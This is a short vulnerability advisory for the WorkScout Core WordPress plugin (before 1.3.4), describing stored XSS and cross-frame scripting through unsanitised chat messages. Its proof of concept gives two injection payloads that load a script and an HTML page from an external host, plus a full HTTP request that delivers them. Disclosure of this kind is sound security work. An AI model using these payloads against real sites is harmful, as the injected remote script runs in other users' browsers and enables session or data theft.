WorkScout Core < 1.3.4 - Authenticated Stored XSS & XFS

Description

The plugin, used by the WorkScout Theme did not sanitise the chat messages sent via the workscout_send_message_chat AJAX action, leading to Stored Cross-Site Scripting and Cross-Frame Scripting issues

Proof of Concept

Payloads:
<!-->"><script src=https://m0ze.ru/payload/a.js></script>
<!-->"><!--><embed src=https://m0ze.ru/payload/xfsii.html>


POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://workscout.in/messages/?action=view&conv_id=163
Cookie: [user cookies]

action=workscout_send_message_chat&recipient=3&conversation_id=163&message=%3C!--%3E%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E%3C!--%3E%3Cembed%20src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E